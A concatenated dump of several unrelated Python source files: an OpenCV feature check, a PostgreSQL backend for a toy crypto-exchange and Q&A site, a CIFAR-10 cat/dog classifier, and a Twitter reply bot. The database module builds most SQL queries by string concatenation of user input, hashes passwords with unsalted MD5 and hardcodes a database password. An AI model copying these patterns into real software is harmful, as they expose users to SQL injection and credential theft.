np.ceil(nhood[0] * 0.5) + 1, 0]) # Make sure the nhood size is odd.\n nhood[1] = np.max([2 * np.ceil(nhood[1] * 0.5) + 1, 0])\n nhood_center = (nhood - 1) / 2\n\n # Suppress this maximum and its close neighbors.\n p1 = int(p) - nhood_center[0]\n p2 = int(p) + nhood_center[0]\n q1 = int(q) - nhood_center[1]\n q2 = int(q) + nhood_center[1]\n\n p1 = int(np.max([p1, 0]))\n p2 = int(np.min([p2, img.shape[1]-1]))\n q1 = int(np.max([q1, 0]))\n q2 = int(np.min([q2, img.shape[0]-1]))\n # Create a square around the maxima to be supressed\n x = [ val for val in range(q1,q2)]\n y = [ val for val in range(p1,p2)]\n [qq, pp] = np.meshgrid(x, y) # 'xy' default, can return i,j\n patch = img[qq, pp]\n\n intimg = integral_image(img)\n img_2 = np.array(img, dtype=np.uint64)\n intimg_2 = integral_image(np.multiply(img_2, img_2))\n # Calculate Variance inside the patch\n S1 = integrate(intimg, q1, p1, q2, p2)\n S2 = integrate(intimg_2, q1, p1, q2, p2)\n n = (nhood[0] * nhood[1])\n mean_S = S1/n\n variance = (S2- S1*S1/n)/n\n sd = np.sqrt(variance)\n if(sd<30): # Low variance, remove point\n return False\n else:\n return True\n\ndef hasFeaturesImage(img):\n h, w = img.shape\n r = 1.0\n if (h > 1024 and w > 1024):\n r = 1024.0 / w\n dim = (1024, int(h * r))\n # perform resizing to speed up\n rimg = cv2.resize(img, dim, interpolation=cv2.INTER_AREA)\n else:\n rimg = img.copy()\n gray = cv2.GaussianBlur(rimg, (11, 11), 3)\n clahe = cv2.createCLAHE(clipLimit=1.5, tileGridSize=(32, 32))\n cl1 = clahe.apply(gray)\n\n corners = cv2.goodFeaturesToTrack(cl1, 50, 0.1, 30)\n corners = np.int0(corners)\n\n h, w = rimg.shape\n img2 = cv2.cvtColor(rimg, cv2.COLOR_GRAY2BGR)\n\n count = 0\n for i in corners:\n x, y = i.ravel()\n if (x > 20 and x < (w - 20) and y > 20 and y < (h - 20)):\n if isGood(y, x, rimg):\n count += 1\n cv2.circle(img2, (x, y), 3, 255, -1)\n\n if (count < 10):\n return False\n else:\n return True\n\n\ndef checkFeatures(file_im,tag):\n img = cv2.imread(file_im, 0)\n if(img.size==0):\n return False\n folder_store, features_fn = path.split(file_im)\n features_fn2 = file_im[:-4]+\"_ft.tif\"\n gray = cv2.GaussianBlur(img, (11, 11),3)\n clahe = cv2.createCLAHE(clipLimit=1.5, tileGridSize=(32, 32))\n cl1 = clahe.apply(gray)\n\n corners = cv2.goodFeaturesToTrack(cl1, 50, 0.1, 30)\n if(corners.size == 0):\n return False\n corners = np.int0(corners)\n\n h, w = img.shape\n img2 = cv2.cvtColor(img, cv2.COLOR_GRAY2BGR)\n\n count = 0\n for i in corners:\n x, y = i.ravel()\n if (x > 20 and x < (w - 20) and y > 20 and y < (h - 20)):\n if isGood(y,x, img):\n count += 1\n cv2.circle(img2, (x, y), 3, 255, -1)\n\n cv2.imwrite(features_fn2,img2)\n if (count < 10):\n file_data = folder_store + \"\\\\features_failed_\" + tag\n with open(file_data, 'w') as f:\n f.write(\"FALSE\")\n return False\n else:\n file_data = folder_store + \"\\\\features_success_\" + tag\n with open(file_data, 'w') as f:\n f.write(\"TRUE\")\n return True\n\n#try:\n# file_im = sys.argv[1]\n# tag = sys.argv[2]\n# checkFeatures(file_im,tag)\n#except SystemExit:\n# pass\n#except:\n# pass\n","sub_path":"CLEMSiteServer/TestApp/bin/x64/Debug/automaton/isFeatureless.py","file_name":"isFeatureless.py","file_ext":"py","file_size_in_byte":3622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"225131865","text":"import psycopg2\nimport sys\nimport hashlib\nimport time\n\ncoins = ['BTC', 'ETH', 'XRP', 'BCH', 'LTC', 'EOS', 'ADA', 'XLM', 'NEO', 'XMR']\n\ndef submit_question(question_info):\n\n #Extract parameters from request object\n username = question_info['username']\n question_summary = question_info['question_summary']\n question_description = question_info['question_description']\n category = question_info['category']\n\n #Define our connection parameters\n conn_string = \"host='localhost' dbname='postgres' user='postgres' password='password'\"\n\n #Connect to database\n conn = psycopg2.connect(conn_string)\n\n #Initialize cursor\n cur = conn.cursor()\n\n #Get user_id\n get_user_id = \"SELECT user_id FROM users WHERE username = '\" + username + \"'\"\n\n cur.execute(get_user_id)\n user_id = cur.fetchall()[0][0]\n\n\n insert = \"\"\" INSERT INTO questions (user_id, question_summary, question_desc, category)\n VALUES ('\"\"\" + str(user_id) + \"', '\" + question_summary + \"', '\" + question_description+ \"', '\" + str(category) + \"')\"\n\n cur.execute(insert)\n\n #Get question_id to return to client\n get_question_id = \"\"\" SELECT question_id\n FROM questions\n WHERE user_id = '\"\"\" + str(user_id) + \"\"\"' AND\n question_summary = '\"\"\" + question_summary + \"\"\"' AND\n question_desc = '\"\"\" + question_description + \"'\"\n\n cur.execute(get_question_id)\n\n question_id = cur.fetchall()[0][0]\n\n cur.close()\n conn.commit()\n conn.close()\n\n return question_id\n\ndef submit_comment(comment_info):\n\n #Extract parameters from request object\n username = comment_info['username']\n question_id = comment_info['question_id']\n comment_text = comment_info['comment_text']\n\n #Define our connection parameters\n conn_string = \"host='localhost' dbname='postgres' user='postgres' password='password'\"\n\n #Connect to database\n conn = psycopg2.connect(conn_string)\n\n #Initialize cursor\n cur = conn.cursor()\n\n #Get user_id\n get_user_id = \"SELECT user_id FROM users WHERE username = '\" + username + \"'\"\n\n cur.execute(get_user_id)\n user_id = cur.fetchall()[0][0]\n\n\n insert = \"\"\" INSERT INTO comments (user_id, question_id, comment_text)\n VALUES ('\"\"\" + str(user_id) + \"', '\" + str(question_id) + \"', '\" + comment_text+ \"')\"\n\n cur.execute(insert)\n\n #Get comment_id to return to client\n get_comment_id = \"\"\" SELECT comment_id\n FROM comments\n WHERE user_id = '\"\"\" + str(user_id) + \"\"\"' AND\n comment_text = '\"\"\" + comment_text + \"'\"\n\n cur.execute(get_comment_id)\n\n comment_id = cur.fetchall()[0][0]\n\n cur.close()\n conn.commit()\n conn.close()\n\n return comment_id\n\n\ndef insert_into_users(forms):\n\n #Define our connection parameters\n conn_string = \"host='localhost' dbname='postgres' user='postgres' password='password'\"\n\n #Connect to database\n conn = psycopg2.connect(conn_string)\n\n #Initialize cursor\n cur = conn.cursor()\n\n\n username = forms['username']\n password = forms['password']\n email = forms['email']\n passwordnew = hashlib.md5(password.encode())\n print(passwordnew)\n\n\n\n cur.execute(\"\"\" SELECT username, email\n FROM users\n WHERE username = '\"\"\" + username + \"\"\"' OR\n email = '\"\"\" + email + \"'\")\n\n\n if len(cur.fetchall()) != 0:\n\n cur.close()\n conn.commit()\n conn.close()\n return False\n\n\n cur.execute(\"INSERT INTO users (username, password, email) VALUES(%s, %s, %s);\", (username, passwordnew.hexdigest(), email))\n cur.execute(\"SELECT user_id FROM users WHERE username = '\" + username + \"'\")\n user_id = cur.fetchall()[0][0]\n\n\n #Create balances for each coin for the new user\n insert_balances = []\n\n for coin in coins:\n insert_balances.append(\"INSERT INTO balances VALUES (\" + str(user_id) + \", '\" + coin + \"', 100)\")\n\n for insert_balance in insert_balances:\n cur.execute(insert_balance)\n\n #Destroy connection\n cur.close()\n conn.commit()\n conn.close()\n\n return True\n\n\ndef insert_into_orders(order_info):\n\n #Define our connection parameters\n conn_string = \"host='localhost' dbname='postgres' user='postgres' password='password'\"\n\n #Connect to database\n conn = psycopg2.connect(conn_string)\n\n #Initialize cursor\n cur = conn.cursor()\n coin_id_in = 'LTC'\n coin_id_out = 'ETH'\n user_id = 'test'\n amount_in = order_info['amount']\n amount_out = order_info['price']\n\n if order_info['order_type'] == 'Buy':\n order_type = 'Buy'\n elif order_info['order_type'] == 'Sell':\n order_type = 'Sell'\n\n\n\n #user_id\n\n cur.execute(\"INSERT INTO open_orders (coin_id_out, coin_id_in, order_type, amount_out, amount_in) VALUES( %s, %s,%s, %s, %s);\", (coin_id_out, coin_id_in, order_type, amount_out, amount_in))\n\n #Destroy connection\n cur.close()\n conn.commit()\n conn.close()\n\n\n\ndef insert_comment_vote(vote_info):\n\n username = vote_info['username']\n comment_id = vote_info['comment_id']\n vote_direction = vote_info['vote_direction']\n\n\n #Define our connection parameters\n conn_string = \"host='localhost' dbname='postgres' user='postgres' password='password'\"\n\n #Connect to database\n conn = psycopg2.connect(conn_string)\n\n #Initialize cursor\n cur = conn.cursor()\n\n #Get user_id\n get_user_id = \"SELECT user_id FROM users WHERE username = '\" + str(vote_info['username']) + \"'\"\n\n cur.execute(get_user_id)\n user_id = cur.fetchall()[0][0]\n\n\n insert = \"INSERT INTO comment_votes (user_id, comment_id, vote_direction) VALUES (\" + str(user_id) + \", \" + str(comment_id) + \", \" + str(vote_direction) + \")\"\n\n cur.execute(insert)\n\n cur.close()\n conn.commit()\n conn.close()\n\n return \"true\"\n\n\ndef update_comment_vote(vote_info):\n\n username = vote_info['username']\n comment_id = vote_info['comment_id']\n vote_direction = vote_info['vote_direction']\n\n\n #Define our connection parameters\n conn_string = \"host='localhost' dbname='postgres' user='postgres' password='password'\"\n\n #Connect to database\n conn = psycopg2.connect(conn_string)\n\n #Initialize cursor\n cur = conn.cursor()\n\n #Get user_id\n get_user_id = \"SELECT user_id FROM users WHERE username = '\" + str(vote_info['username']) + \"'\"\n\n cur.execute(get_user_id)\n user_id = cur.fetchall()[0][0]\n\n update = \"UPDATE comment_votes SET vote_direction = \" + str(vote_direction) + \" WHERE comment_id = \" + str(comment_id) + \" AND user_id = \" + str(user_id)\n\n cur.execute(update)\n\n cur.close()\n conn.commit()\n conn.close()\n\n return \"true\"\n\n\ndef delete_question(question_info):\n\n\n question_id = question_info['question_id']\n\n #Define our connection parameters\n conn_string = \"host='localhost' dbname='postgres' user='postgres' password='password'\"\n\n #Connect to database\n conn = psycopg2.connect(conn_string)\n\n #Initialize cursor\n cur = conn.cursor()\n\n deletes = [\n \"DELETE FROM question_votes WHERE question_id = \" + str(question_id),\n \"\"\"DELETE FROM comment_votes WHERE comment_id IN (\n SELECT comment_id FROM comments WHERE question_id = \"\"\" + str(question_id) + \")\",\n \"DELETE FROM comments WHERE question_id = \" + str(question_id),\n \"DELETE FROM questions WHERE question_id = \" + str(question_id)\n ]\n\n for delete in deletes:\n cur.execute(delete)\n\n cur.close()\n conn.commit()\n conn.close()\n\n return \"true\"\n\ndef delete_comment(comment_info):\n\n comment_id = comment_info['comment_id']\n\n #Define our connection parameters\n conn_string = \"host='localhost' dbname='postgres' user='postgres' password='password'\"\n\n #Connect to database\n conn = psycopg2.connect(conn_string)\n\n #Initialize cursor\n cur = conn.cursor()\n\n deletes = [\n \"DELETE FROM comment_votes WHERE comment_id = \" + str(comment_id),\n \"DELETE FROM comments WHERE comment_id = \" + str(comment_id)\n ]\n\n for delete in deletes:\n cur.execute(delete)\n\n cur.close()\n conn.commit()\n conn.close()\n\n return \"true\"\n\n\n\ndef insert_question_vote(question_info):\n\n username = question_info['username']\n question_id = question_info['question_id']\n vote_direction = question_info['vote_direction']\n\n\n #Define our connection parameters\n conn_string = \"host='localhost' dbname='postgres' user='postgres' password='password'\"\n\n #Connect to database\n conn = psycopg2.connect(conn_string)\n\n #Initialize cursor\n cur = conn.cursor()\n\n #Get user_id\n get_user_id = \"SELECT user_id FROM users WHERE username = '\" + str(question_info['username']) + \"'\"\n\n cur.execute(get_user_id)\n user_id = cur.fetchall()[0][0]\n\n\n insert = \"INSERT INTO question_votes (user_id, question_id, vote_direction) VALUES (\" + str(user_id) + \", \" + str(question_id) + \", \" + str(vote_direction) + \")\"\n\n cur.execute(insert)\n\n cur.close()\n conn.commit()\n conn.close()\n\n return \"true\"\n\n\ndef update_question_vote(question_info):\n\n username = question_info['username']\n question_id = question_info['question_id']\n vote_direction = question_info['vote_direction']\n\n\n #Define our connection parameters\n conn_string = \"host='localhost' dbname='postgres' user='postgres' password='password'\"\n\n #Connect to database\n conn = psycopg2.connect(conn_string)\n\n #Initialize cursor\n cur = conn.cursor()\n\n #Get user_id\n get_user_id = \"SELECT user_id FROM users WHERE username = '\" + str(username) + \"'\"\n\n cur.execute(get_user_id)\n user_id = cur.fetchall()[0][0]\n\n update = \"UPDATE question_votes SET vote_direction = \" + str(vote_direction) + \" WHERE question_id = \" + str(question_id) + \" AND user_id = \" + str(user_id)\n\n cur.execute(update)\n\n cur.close()\n conn.commit()\n conn.close()\n\n return \"true\"\n\n\ndef submit_order(order_info):\n\n ###################\n #Extract parameters\n ###################\n username = order_info['username']\n order_type = order_info['order_type']\n coin_type = order_info['coin_type']\n order_amount = float(order_info['order_amount'])\n order_price = float(order_info['order_price'])\n\n\n ##################\n #Set up connection\n ##################\n conn_string = \"host='localhost' dbname='postgres' user='postgres' password='password'\"\n conn = psycopg2.connect(conn_string)\n cur = conn.cursor()\n\n\n ##########################\n #Get user_id from username\n ##########################\n get_user_id = \"SELECT user_id FROM users WHERE username = '\" + username + \"'\"\n cur.execute(get_user_id)\n user_id = cur.fetchall()[0][0]\n\n\n ##############################################################\n #Check the user's balance to ensure they have sufficient funds\n ##############################################################\n if order_type == \"Buy\":\n get_user_balance = \"SELECT coin_balance FROM balances WHERE user_id = '\" + str(user_id) + \"' AND coin_id = 'BTC'\"\n\n elif order_type == \"Sell\":\n get_user_balance = \"SELECT coin_balance FROM balances WHERE user_id = '\" + str(user_id) + \"' AND coin_id = '\" + coin_type + \"'\"\n\n cur.execute(get_user_balance)\n balance = cur.fetchall()[0][0]\n\n\n ################################\n #The user has insufficient funds\n ################################\n if balance < float(order_amount) / float(order_price):\n\n cur.close()\n conn.commit()\n conn.close()\n return \"insufficient funds\"\n\n\n\n ###########################################\n #Sufficient funds; proceed with transaction\n ###########################################\n else:\n\n #############################################################\n #Update user's balance by subtracting whatever they're paying\n #############################################################\n if order_type == \"Buy\":\n update_balance(cur, user_id, \"BTC\", -1 * (float(order_amount) / float(order_price)))\n\n elif order_type == \"Sell\":\n update_balance(cur, user_id, coin_type, -1 * float(order_amount))\n\n\n #########################################################\n #Find all orders in open_orders matching the user's order\n #########################################################\n opposite_order_type = \"Sell\" if order_type == \"Buy\" else \"Buy\"\n\n cur.execute(\"\"\" SELECT order_id, user_id, amount\n FROM open_orders\n WHERE coin_id = '\"\"\" + coin_type + \"\"\"' AND\n price = '\"\"\" + str(order_price) + \"\"\"' AND\n order_type = '\"\"\" + opposite_order_type + \"\"\"'\n ORDER BY ts ASC \"\"\")\n\n result_set = cur.fetchall()\n\n\n ###################################\n #Store results in a coherent format\n ###################################\n matching_orders = []\n for matching_order in result_set:\n matching_orders.append({\n 'order_id': matching_order[0],\n 'user_id': matching_order[1],\n 'amount': float(matching_order[2])\n })\n\n\n if len(matching_orders) == 0:\n\n ########################################################################\n #There are no matching orders; insert into entire order into open_orders\n ########################################################################\n cur.execute(\"\"\" INSERT INTO open_orders (user_id, order_type, coin_id, amount, price, ts)\n VALUES ('\"\"\" + str(user_id) + \"', '\" + order_type + \"', '\" + coin_type + \"', \" + str(order_amount) + \", \" + str(order_price) + \", NOW())\")\n cur.close()\n conn.commit()\n conn.close()\n return \"order added\"\n\n\n else:\n\n ######################################################################\n #Iterate through matching orders, matching as many of them as possible\n ######################################################################\n amount_remaining = order_amount\n\n for matching_order in matching_orders:\n\n if amount_remaining > matching_order['amount']:\n\n #Remove the matching order from open_orders\n delete_open_order(cur, matching_order['order_id'])\n\n #Create a successful order for the current matching_order\n create_successful_order(cur, matching_order['user_id'], user_id, opposite_order_type, coin_type, matching_order['amount'], order_price)\n\n #Update both users' balances\n if order_type == \"Buy\":\n\n #Update fulfiller's balance\n update_balance(cur, user_id, coin_type, matching_order['amount'])\n\n #Update maker's balance\n update_balance(cur, matching_order['user_id'], \"BTC\", matching_order['amount'] / order_price)\n\n elif order_type == \"Sell\":\n\n #Update fulfiller's balance\n update_balance(cur, user_id, \"BTC\", matching_order['amount'] / order_price)\n\n #Update maker's balance\n update_balance(cur, matching_order['user_id'], coin_type, matching_order['amount'])\n\n #Update amount_remaining\n amount_remaining -= matching_order['amount']\n\n\n\n elif amount_remaining < matching_order['amount']:\n\n #Update matching order with new amount\n update_open_order(cur, matching_order['order_id'], matching_order['amount'] - amount_remaining)\n\n #Create a successful order for the transaction\n create_successful_order(cur, matching_order['user_id'], user_id, opposite_order_type, coin_type, amount_remaining, order_price)\n\n #Update both users' balances\n if order_type == \"Buy\":\n\n #Update fulfiller's balance\n update_balance(cur, user_id, coin_type, amount_remaining)\n\n #Update maker's balance\n update_balance(cur, matching_order['user_id'], \"BTC\", amount_remaining / order_price)\n\n elif order_type == \"Sell\":\n\n #Update fulfiller's balance\n update_balance(cur, user_id, \"BTC\", amount_remaining / order_price)\n\n #Update maker's balance\n update_balance(cur, matching_order['user_id'], coin_type, amount_remaining)\n\n #amount_remaining should become zero\n amount_remaining = 0\n break\n\n\n elif amount_remaining == matching_order['amount']:\n\n #Remove matching order from open_orders\n delete_open_order(cur, matching_order['order_id'])\n\n #Create a successful order for the transaction\n create_successful_order(cur, matching_order['user_id'], user_id, opposite_order_type, coin_type, amount_remaining, order_price)\n\n #Update both users' balances\n if order_type == \"Buy\":\n\n #Update fulfiller's balance\n update_balance(cur, user_id, coin_type, amount_remaining)\n\n #Update maker's balance\n update_balance(cur, matching_order['user_id'], \"BTC\", amount_remaining / order_price)\n\n\n elif order_type == \"Sell\":\n\n #Update fulfiller's balance\n update_balance(cur, user_id, \"BTC\", amount_remaining / order_price)\n\n #Update maker's balance\n update_balance(cur, matching_order['user_id'], coin_type, amount_remaining)\n\n #amount_remaining should become zero\n amount_remaining -= matching_order['amount']\n break\n\n\n ################\n #End of for loop\n ################\n\n\n ####################################################################################\n #If there's still something left in amount_remaining, create a new row in open_order\n ####################################################################################\n if amount_remaining != 0:\n\n cur.execute(\"\"\" INSERT INTO open_orders (user_id, order_type, coin_id, amount, price, ts)\n VALUES ('\"\"\" + str(user_id) + \"', '\" + order_type + \"', '\" + coin_type + \"', \" + str(amount_remaining) + \", \" + str(order_price) + \", NOW())\")\n\n cur.close()\n conn.commit()\n conn.close()\n return \"order added\"\n\n\n ################################\n #Order was completely matched up\n ################################\n elif amount_remaining == 0:\n\n cur.close()\n conn.commit()\n conn.close()\n return \"order completed\"\n\n\n #Destroy connection\n cur.close()\n conn.commit()\n conn.close()\n return 'true'\n\n\n\ndef update_balance(cur, user_id, coin_id, balance_increment):\n\n cur.execute(\"\"\" UPDATE balances\n SET coin_balance = coin_balance + \"\"\" + str(balance_increment) + \"\"\"\n WHERE user_id = '\"\"\" + str(user_id) + \"\"\"' AND\n coin_id = '\"\"\" + coin_id + \"'\")\n\n\n\n#Remove a row from the open_orders table\ndef delete_open_order(cur, order_id):\n\n cur.execute(\"DELETE FROM open_orders WHERE order_id = '\" + str(order_id) + \"'\")\n\n\n\n#Add a row to the successful_orders table\ndef create_successful_order(cur, maker_id, fulfiller_id, order_type, coin_id, amount, price):\n\n cur.execute(\"\"\" INSERT INTO successful_orders (maker_user_id, fulfiller_user_id, order_type , coin_id, amount, price, ts)\n VALUES ('\"\"\" + str(maker_id) + \"', '\" + str(fulfiller_id) + \"','\" + order_type + \"','\"\"\"\n + coin_id + \"','\" + str(amount) + \"','\" + str(price) + \"', NOW())\")\n\n\n\ndef update_open_order(cur, order_id, new_amount):\n\n cur.execute(\"\"\" UPDATE open_orders\n SET amount = \"\"\" + str(new_amount) + \"\"\"\n WHERE order_id = \"\"\" + str(order_id))\n","sub_path":"scripts/inserts.py","file_name":"inserts.py","file_ext":"py","file_size_in_byte":20689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"519039252","text":"import torch, torchvision\nfrom torchvision.datasets import CIFAR10\nfrom torch.utils.data import Dataset, DataLoader\nimport numpy as np\nimport torchvision.transforms as tvt\nimport matplotlib.pyplot as plt\n\ntransform = tvt.Compose([tvt.ToTensor(), tvt.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))])\n\n# Downloading/Louding CIFAR10 data\ntrainset = CIFAR10(root=\"data//\", train=True , download=True, transform = transform)\ntestset = CIFAR10(root=\"data//\", train=False, download=True, transform = transform)\nclassDict = {'plane':0, 'car':1, 'bird':2, 'cat':3, 'deer':4, 'dog':5, 'frog':6, 'horse':7, 'ship':8, 'truck':9}\n\n\n# Separating trainset/testset data/label\n#\"\"\"\n\"\"\"\n#CPU version\nx_train = trainset.data\nx_test = testset.data\ny_train = trainset.targets\ny_test = testset.targets\n\"\"\"\n#GPU version\nx_train = trainset.train_data\nx_test = testset.test_data\ny_train = trainset.train_labels\ny_test = testset.test_labels\n\ndtype = torch.float\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nfs = 30\nnum_classes = 2 #only cat & dog\n\n# Define a function to separate CIFAR classes by class index\ndef get_class_i(x, y, i):\n \"\"\"\n x: trainset.train_data or testset.test_data\n y: trainset.train_labels or testset.test_labels\n i: class label, a number between 0 to 9\n return: x_i\n \"\"\"\n # Convert to a numpy array\n y = np.array(y)\n # Locate position of labels that equal to i\n pos_i = np.argwhere(y == i)\n # Convert the result into a 1-D list\n pos_i = list(pos_i[:,0])\n # Collect all data that match the desired label\n x_i = [x[j] for j in pos_i]\n \n return x_i\n\nclass DatasetMaker(Dataset):\n def __init__(self, datasets, transformFunc = transform):\n \"\"\"\n datasets: a list of get_class_i outputs, i.e. a list of list of images for selected classes\n \"\"\"\n self.datasets = datasets\n self.lengths = [len(d) for d in self.datasets]\n self.transformFunc = transformFunc\n def __getitem__(self, i):\n class_label, index_wrt_class = self.index_of_which_bin(self.lengths, i)\n img = self.datasets[class_label][index_wrt_class]\n img = self.transformFunc(img)\n return img, class_label\n\n def __len__(self):\n return sum(self.lengths)\n \n def index_of_which_bin(self, bin_sizes, absolute_index, verbose=False):\n \"\"\"\n Given the absolute index, returns which bin it falls in and which element of that bin it corresponds to.\n \"\"\"\n # Which class/bin does i fall into?\n accum = np.add.accumulate(bin_sizes)\n bin_index = len(np.argwhere(accum <= absolute_index))\n # Which element of the fallent class/bin does i correspond to?\n index_wrt_class = absolute_index - np.insert(accum, 0, 0)[bin_index]\n return bin_index, index_wrt_class\n\n\ndef train_dnn(train_data, test_data):\n\t# D_out = 2 o/p classes\n\tD_in, H1, H2, D_out = 3 * 32 * 32, 1000, 256, 2\n\tprint(\"\\n current device type: \" + str(device))\n\t# Randomly initialize weights\n\tw1 = torch.randn(D_in, H1, device=device, dtype=dtype)\n\tw2 = torch.randn(H1, H2, device=device, dtype=dtype)\n\tw3 = torch.randn(H2, D_out, device=device, dtype=dtype)\n\tlearning_rate = 1e-12\n\txlist, loss_list = [], []\n\tnum_epochs = 1000\n\tepoch_log_step = 1\n\n\tfor epoch in range(num_epochs):\n\t\tfor i, data in enumerate(train_data):\n\t\t\tinputs, labels = data\n\t\t\tinputs = inputs.to(device)\n\t\t\tlabels = labels.to(device)\n\t\t\tx = inputs\n\t\t\tx = inputs.view(x.size(0), -1) \n\t\t\ty = labels.view(-1,1)\n\t\t\th1 = x.mm(w1) # In numpy, you would say h1 = x.dot(w1)\n\t\t\th1_relu = h1.clamp(min=0)\n\t\t\th2 = h1_relu.mm(w2)\n\t\t\th2_relu = h2.clamp(min=0)\n\t\t\ty_pred = h2_relu.mm(w3)\n\t\t\t\n\n\t\t#y = y.view(-1,1)# Compute and print loss\n\t\tprint(x.size(), h1.size(), h1_relu.size(), h2.size(), h2_relu.size(), y_pred.size(), y.size(), labels.size())\n\t\tloss = (y_pred.float() - y.float()).pow(2).sum().item()\n\t\tif epoch % epoch_log_step == 0:\n\t\t\tprint(\"Epoch %d: %f\"%(epoch, loss))\n\t\t\tloss_list.append(loss)\n\t\t\txlist.append(epoch)\n\n\t\t# Backpropagate the error for the next epoch\n\t\ty_error = y_pred.float() - y.float()\n\t\tgrad_w3 = h2_relu.t().mm(2 * y_error) #Gradient of Loss w.r.t w3\n\t\th2_error = 2.0 * y_error.mm(w3.t()) # backpropagated error to the h2 hidden layer\n\t\th2_error[h2 < 0] = 0 # To backprop error, zero those elements where fwd prop values to the same layer are negative\n\t\tgrad_w2 = h1_relu.t().mm(2 * h2_error) #Gradient of Loss w.r.t w2\n\t\th1_error = 2.0 * h2_error.mm(w2.t()) # backpropagated error to the h1 hidden layer\n\t\th1_error[h1 < 0] = 0 # We set those elements of the backpropagated error\n\t\tgrad_w1 = x.t().mm(2 * h1_error) #Gradient of Loss w.r.t w2\n\t\t# Update weights using gradient descent\n\t\tw1 -= learning_rate * grad_w1\n\t\tw2 -= learning_rate * grad_w2\n\t\tw3 -= learning_rate * grad_w3\n\n\t# print(\"Training Summary every %s epochs upto %s epochs\" % str(epoch_step_plot), str(num_epochs))\n\tprint(\"Loss: %s\" % str(loss_list))\n\ttest_dnn(w1, w2, w3, test_data)\n\tplot_loss(xlist, loss_list)\n\ndef plot_loss(xlist, ylist):\n\tplt.plot(xlist,ylist)\n\tplt.xlabel('Training Iterations', fontsize = fs)\n\tplt.ylabel('Loss', fontsize = fs)\n\t#plt.legend(loc='best',fontsize = fs)\n\tplt.xticks(fontsize = fs)\n\tplt.yticks(fontsize = fs)\n\tplt.show()\n\ndef test_dnn(w1, w2, w3, test_data):\n\tacc_preds = 0\n\tfor i, data in enumerate(test_data):\n\t\tinputs, labels = data\n\t\t# print(torch.Size(labels))\n\t\tinputs = inputs.to(device)\n\t\tlabels = labels.to(device)\n\t\tx = inputs.view(inputs.size(0), -1) # -1 means that that dimension is inferred by the other specified dimensions\n\t\t# x = inputs\n\t\ty = labels\n\t\th1 = x.mm(w1) # In numpy, you would say h1 = x.dot(w1)\n\t\th1_relu = h1.clamp(min=0)\n\t\th2 = h1_relu.mm(w2)\n\t\th2_relu = h2.clamp(min=0)\n\t\ty_pred = h2_relu.mm(w3)\n\n\t\t# Discretize the 2 classes using argmax\n\t\ty_pred_argmax = torch.argmax(y_pred)\n\t\t\n\t\t#for 0-->cat, 1-->dog\n\t\tif y_pred_argmax.cpu().numpy() == y.cpu().numpy()[0]:\n\t\t\tacc_preds = acc_preds + 1\n\t\t\n\t\t\"\"\"\n\t\t#for one-hot encoding\n\t\ty_loc = np.where(y.numpy() == 1)[0]\n\t\t#print(y_pred, y, y_loc, y_pred_argmax.numpy())\n\t\tif y_pred_argmax.numpy() == y_loc[0]:\n\t\t\tacc_preds = acc_preds + 1\n\t\t\"\"\"\n\ttest_acc = acc_preds/(i+1)\n\tprint(i, acc_preds, test_acc)\n\tprint(\"Test Accuracy:\", test_acc)\n\n\n# ================== Usage ================== #\ndef main():\n\t# Let's choose cats (class 3 of CIFAR) and dogs (class 5 of CIFAR) as trainset/testset\n\tcat_dog_trainset = DatasetMaker([get_class_i(x_train, y_train, classDict['cat']), get_class_i(x_train, y_train, classDict['dog'])],\n transform)\n\tcat_dog_testset = DatasetMaker([get_class_i(x_test , y_test , classDict['cat']), get_class_i(x_test , y_test , classDict['dog'])],\n transform)\n\t\n\tkwargs = {'num_workers': 2, 'pin_memory': False}\n\t# Create datasetLoaders from trainset and testset\n\ttrainsetLoader = DataLoader(cat_dog_trainset, batch_size=5, shuffle=True , **kwargs)\n\ttestsetLoader = DataLoader(cat_dog_testset , batch_size=5, shuffle=False, **kwargs)\n\tprint(len(trainsetLoader),len(testsetLoader))\n\ttrain_dnn(trainsetLoader, testsetLoader)\n\nif __name__== \"__main__\":\n main()","sub_path":"HW02/hw02_changeddataset.py","file_name":"hw02_changeddataset.py","file_ext":"py","file_size_in_byte":7105,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"430514824","text":"import tweepy\nimport time\nimport os\nprint(\"this is my twitter bot\")\n\n\n#put your own developer keys here\nCONSUMER_KEY = ''\nCONSUMER_SECRET = ''\nACCESS_KEY = ''\nACCESS_SECRET = ''\n\nauth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)\nauth.set_access_token(ACCESS_KEY, ACCESS_SECRET)\napi = tweepy.API(auth)\n\nFILE_NAME = 'last_seen_id.txt'\n\n\ndef retrieve_last_seen_id(file_name):\n f_read = open(file_name, 'r')\n last_seen_id = int(f_read.read().strip())\n f_read.close()\n return last_seen_id\n\ndef store_last_seen_id(last_seen_id, file_name):\n f_write = open(file_name, 'w')\n f_write.write(str(last_seen_id))\n f_write.close()\n return\n\n\ndef reply_to_tweets():\n print('retrieving and replying to tweets..')\n\n if os.stat(FILE_NAME).st_size == 0:\n last_seen_id='NULL'\n mentions = api.mentions_timeline(tweet_mode='extended')\n else:\n last_seen_id = retrieve_last_seen_id(FILE_NAME)\n mentions = api.mentions_timeline(last_seen_id,tweet_mode='extended')\n #mentions = api.mentions_timeline(last_seen_id,tweet_mode='extended')\n\n for mention in reversed(mentions):\n print (str(mention.id)+ \"-\" +mention.full_text)\n last_seen_id = mention.id\n if '#hitwitbit' in mention.full_text.lower():\n print('found #hitwitbit')\n print('respondig back...')\n api.update_status('@'+ mention.user.screen_name + \"#HellofromTwitbit back to you!\" , mention.id)\n\n store_last_seen_id(last_seen_id, FILE_NAME)\n\nwhile True:\n reply_to_tweets()\n time.sleep(15)\n","sub_path":"twitbit.py","file_name":"twitbit.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"541229053","text":"import warnings\n\nfrom os.path import dirname, join\n\nimport numpy as np\nimport pandas as pd\n\nfrom nose.tools import (assert_almost_equal, assert_equal)\nfrom numpy.random import RandomState\nfrom pandas.util.testing import assert_series_equal\nfrom numpy.testing import assert_array_equal\n\nfrom rsmtool.analyzer import Analyzer\n\n\nclass TestAnalyzer:\n\n def setUp(self):\n\n self.prng = 